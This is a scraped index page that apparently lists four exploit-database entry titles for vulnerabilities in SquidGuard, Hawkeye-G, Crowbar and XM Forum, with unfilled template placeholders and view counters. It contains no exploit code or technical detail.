- Read more...
- 0 comments
- 1 view

SquidGuard 1.4 - Long URL Handling Remote Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Hawkeye-G 3.0.1.4912 - Cross-Site Request Forgery
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Crowbar - 'file' Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

XM Forum - 'search.asp' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view